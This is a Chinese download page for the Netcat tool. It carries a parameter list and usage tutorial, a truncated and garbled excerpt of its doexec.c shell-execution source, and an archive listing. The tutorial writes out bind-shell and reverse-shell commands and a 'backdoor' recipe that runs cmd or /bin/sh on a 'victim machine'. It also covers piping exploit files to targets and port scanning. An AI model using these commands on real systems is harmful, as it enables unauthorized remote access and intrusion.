资源简介
软件介绍:
工具名:Netcat
作者:Hobbit && Chris Wysopal
类别:开放源码
平台:Linux/BSD/Unix/Windows
WINDOWS下版本号:[v1.10 NT]
参数介绍:
*nc.exe -h*即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时
端口的表示方法可写为M-N的范围格式。
========================================================
基本用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令”|”与重定向命令””等等命令功能更强大……)。
========================================================
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 c:log.txt
讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志
附:*c:log.txt*为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中
10) 后门
victim machine: //受害者的机器
nc -l -p port -e cmd //win2000
nc -l -p port -e /bin/sh //unix,linux
代码片段和文件信息
// portions Copyright (C) 1994 Nathaniel W. Mishkin
// code taken from rlogind.exe
#include
#include
#include se.h>
#ifdef GAPING_SECURITY_HOLE
#define BUFFER_SIZE 200
extern char * pr00gie;
void holler(char * str char * p1 char * p2 char * p3 char * p4 char * p5 char * p6);
char smbuff[20];
//
// Structure used to describe each session
//
typedef struct {
//
// These fields are filled in at session creation time
//
HANDLE ReadPipeHandle; // Handle to shell stdout pipe
HANDLE WritePipeHandle; // Handle to shell stdin pipe
HANDLE ProcessHandle; // Handle to shell process
//
//
// These fields are filled in at session connect time and are only
// valid when the session is connected
//
SOCKET ClientSocket;
HANDLE ReadShellThreadHandle; // Handle to session shell-read thread
HANDLE WriteShellThreadHandle; // Handle to session shell-read thread
} SESSION_DATA *PSESSION_DATA;
//
// Private prototypes
//
static HANDLE
StartShell(
HANDLE StdinPipeHandle
HANDLE StdoutPipeHandle
);
static VOID
SessionReadShellThreadFn(
LPVOID Parameter
);
static VOID
SessionWriteShellThreadFn(
LPVOID Parameter
);
// **********************************************************************
//
// CreateSession
//
// Creates a new session. Involves creating the shell process and establishing
// pipes for communication with it.
//
// Returns a handle to the session or NULL on failure.
//
static PSESSION_DATA
CreateSession(
VOID
)
{
PSESSION_DATA Session = NULL;
BOOL Result;
SECURITY_ATTRIBUTES SecurityAttributes;
HANDLE ShellStdinPipe = NULL;
HANDLE ShellStdoutPipe = NULL;
//
// Allocate space for the session data
//
Session = (PSESSION_DATA) malloc(sizeof(SESSION_DATA));
if (Session == NULL) {
return(NULL);
}
//
// Reset fields in preparation for failure
//
Session->ReadPipeHandle = NULL;
Session->WritePipeHandle = NULL;
//
// Create the I/O pipes for the shell
//
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL
SecurityAttributes.bInheritHandle = TRUE; // Shell will inherit handles
Result = CreatePipe(&Session->ReadPipeHandle &ShellStdoutPipe
&SecurityAttributes 0);
if (!Result) {
holler(“Failed to create shell stdout pipe error = %s“
itoa(GetLastError() smbuff 10) NULL NULL NULL NULL NULL);
goto Failure;
}
Result = CreatePipe(&ShellStdinPipe &Session->WritePipeHandle
&SecurityAttributes 0);
if (!Result) {
holler(“Failed to create shell stdin pipe error = %s“
itoa(GetLastError() smbuff 10) NULL NULL NULL NULL NULL);
goto Failure;
}
//
// Start the shell
//
Sessi
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 12039 1997-11-28 14:48 NC\doexec.c
文件 7283 1996-07-09 16:01 NC\generic.h
文件 22784 1996-11-06 22:40 NC\getopt.c
文件 4765 1994-11-03 19:07 NC\getopt.h
文件 61780 1998-02-06 15:50 NC\hobbit.txt
文件 544 1997-11-28 14:36 NC\makefile
文件 59392 1998-01-03 14:37 NC\nc.exe
文件 69081 1998-01-04 15:17 NC\NETCAT.C
文件 6771 1998-02-06 17:53 NC\readme.txt
..AD... 0 2011-08-21 12:13 NC
文件 9219 2012-05-12 16:41 使用手册.txt
----------- --------- ---------- ----- ----
253658 11
- 上一篇:vue可编辑表格
- 下一篇:转换思科SCCP话机为SIP话机
评论
共有 条评论